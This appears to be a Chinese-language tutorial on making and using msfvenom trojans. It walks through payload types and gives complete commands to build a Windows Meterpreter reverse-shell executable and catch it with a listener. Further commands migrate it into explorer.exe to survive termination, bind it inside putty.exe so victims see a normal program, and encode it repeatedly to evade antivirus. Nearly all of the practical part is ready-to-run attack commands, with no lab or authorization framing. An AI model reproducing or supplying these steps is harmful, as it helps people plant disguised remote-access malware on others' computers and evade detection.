MsfVenom木马制作及使用
msfvenom基本用法
1、功能介绍
msfvenom的功能:常用于生成木马,在目标机器执行,在本地机器kali中上线,与反弹shell类似。MsfVenom可以生成两种类型的攻击载荷:
(1)Payload:Payload中包含攻击进入目标主机后需要再远程系统中运行的恶意程序,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
(2)Shellcode:Shellcode是Payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了Shellcode这一组指令后,才会提供一个命令行shell。(一组指令,不是可执行程序,通过正常应用程序捆绑)
2、攻击载荷分类
(1)Single是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,所以其生成的Payload通常很大。
(2)Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
(3)Stage是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
Single Payload的格式为:<target>/ <single>
如:windows/poweshell_bind_tcp
Stager/Stage Payload的格式为:<target>/ <stage> / <stager>
如:windows/meterpreter/reverse_tcp
3、小试牛刀
执行以下指令,将会生成一个文件名为shell.exe的Windows可执行程序,下载到Windows上执行,将会在进程中看到该程序。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=6666 -f exe -o shell.exe
或
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=6666 -f exe > shell.exe
(-p:指定需要使用的Payload;-f:指定文件类型;-o:保存到指定文件路径,同 ' > ' )
接下来,使用MSF的监听模块上线
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set lhost 192.168.0.102
set lport 6666
run
一旦shell.exe执行,则界面反弹到meterpreter中进行利用。
现在可以使用截图命令查看被攻击端的页面
4、进程注入
开启exploit/multi/handler后,运行shell.exe上线。如果在windows的任务管理器中结束掉shell.exe的进程并不会下线。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.102 lport=6666 prependmigrateprocess=explorer.exe prependmigrate=true -f exe > shell-1.exe
(prependmigrateprocess:设置移植到哪个进程上)
在被攻击机上运行shel-1.exe后结束掉该进程,并没有下线,而是移植到了另外一个进程中
5、程序捆绑
直接将木马与某一个应用程序进行捆绑,当用户点击木马运行时,不仅木马上线,而且程序也会正常运行
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=6666 -a x86 --platform windows -x putty.exe -k -f exe -o myputty.exe
(-a:对应x86架构;--platform:表示生成windows平台上的;-x:捆绑到某个程序;-k:启动木马时,捆绑程序也正常启动)
6、确认免杀效果
使用编码或代码混淆生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.102 lport=6666 -e x86/shikata_ga_nai -i 10 -f exe > shell-2.exe
(-e:在x86的架构下使用shikata_ga_nai 编码器进行混淆;-i:对代码混淆10次)
生成木马后可以使用工具在线检测(VirusTotal - Home / VirScan - 多引擎文件在线检测平台)